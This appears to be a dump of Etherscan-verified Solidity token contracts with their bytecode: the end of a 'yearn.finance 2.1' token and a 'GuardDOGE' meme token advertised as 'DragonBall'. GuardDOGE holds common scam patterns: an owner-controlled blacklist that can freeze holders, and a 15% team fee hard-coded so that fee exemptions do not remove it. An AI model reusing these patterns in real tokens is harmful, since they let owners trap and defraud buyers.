event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
/*****************************************************************************
* @title YearnFinance v2.1
* @dev YearnFinance v2.1 is an ERC20 implementation of the YearnFinance v2.1 ecosystem token.
* All tokens are initially pre-assigned to the creator, and can later be distributed
* freely using transfer transferFrom and other ERC20 functions.
*/
contract YearnFinance is Ownable, ERC20Pausable {
string public constant name = "yearn.finance 2.1";
string public constant symbol = "YFII";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 30000*10**uint256(decimals);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public {
_mint(msg.sender, initialSupply);
}
/**
* @dev Destoys `amount` tokens from the caller.
*
* See `ERC20._burn`.
*/
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
/**
* @dev See `ERC20._burnFrom`.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
event DepositReceived(address indexed from, uint256 value);
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610426565b604080519115158252519081900360200190f35b6101f6610451565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610457565b610246610484565b6040805160ff9092168252519081900360200190f35b6101f6610489565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610497565b6102986104bb565b005b610298600480360360208110156102b057600080fd5b5035610562565b6101da61056f565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b031661057f565b610298600480360360408110156102fb57600080fd5b506001600160a01b03813516906020013561059a565b6102986105a8565b610321610656565b604080516001600160a01b039092168252519081900360200190f35b6101da610665565b610139610676565b6101da6004803603604081101561036357600080fd5b506001600160a01b038135169060200135610696565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106ba565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106de565b610298600480360360208110156103e957600080fd5b50356001600160a01b0316610709565b60405180604001604052806011815260200170796561726e2e66696e616e636520322e3160781b81525081565b600354600090600160a01b900460ff161561044057600080fd5b61044a8383610803565b9392505050565b60025490565b600354600090600160a01b900460ff161561047157600080fd5b61047c848484610819565b949350505050565b601281565b69065a4da25d3016c0000081565b600354600090600160a01b900460ff16156104b157600080fd5b61044a8383610870565b6104c3610665565b610514576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052a57600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b61056c33826108ac565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b6105a48282610985565b5050565b6105b0610665565b610601576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061857600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b604051806040016040528060048152602001635946494960e01b81525081565b600354600090600160a01b900460ff16156106b057600080fd5b61044a83836109ca565b600354600090600160a01b900460ff16156106d457600080fd5b61044a8383610a06565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610711610665565b610762576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107a75760405162461bcd60e51b8152600401808060200182810382526026815260200180610d1c6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610810338484610a13565b50600192915050565b6000610826848484610aff565b6001600160a01b038416600090815260016020908152604080832033808552925290912054610866918691610861908663ffffffff610c4116565b610a13565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610810918590610861908663ffffffff610c9e16565b6001600160a01b0382166108f15760405162461bcd60e51b8152600401808060200182810382526021815260200180610d646021913960400191505060405180910390fd5b600254610904908263ffffffff610c4116565b6002556001600160a01b038216600090815260208190526040902054610930908263ffffffff610c4116565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61098f82826108ac565b6001600160a01b0382166000908152600160209081526040808320338085529252909120546105a4918491610861908563ffffffff610c4116565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610810918590610861908663ffffffff610c4116565b6000610810338484610aff565b6001600160a01b038316610a585760405162461bcd60e51b8152600401808060200182810382526024815260200180610daa6024913960400191505060405180910390fd5b6001600160a01b038216610a9d5760405162461bcd60e51b8152600401808060200182810382526022815260200180610d426022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b445760405162461bcd60e51b8152600401808060200182810382526025815260200180610d856025913960400191505060405180910390fd5b6001600160a01b038216610b895760405162461bcd60e51b8152600401808060200182810382526023815260200180610cf96023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bb2908263ffffffff610c4116565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be7908263ffffffff610c9e16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c98576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008282018381101561044a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820e7f8c6b3cc30420f1d89a73c7cb28761601e7908a3056dadf0868c2ad098d6db64736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 10,386 |
0x0bd85297a8cdd7fffb451caea6251c38967587ac | /**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
/*
DragonBall is going to launch in the Uniswap at July 3.
This is fair launch and going to launch without any presale.
tg: https://t.me/DragonBall
twitter: https://twitter.com/DragonBall
All crypto babies will become a DragonBall in here.
Let's enjoy our launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GuardDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Guard Doge";
string private constant _symbol = " GuardDOGE ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600a81526020017f477561726420446f676500000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f204775617264444f474520000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167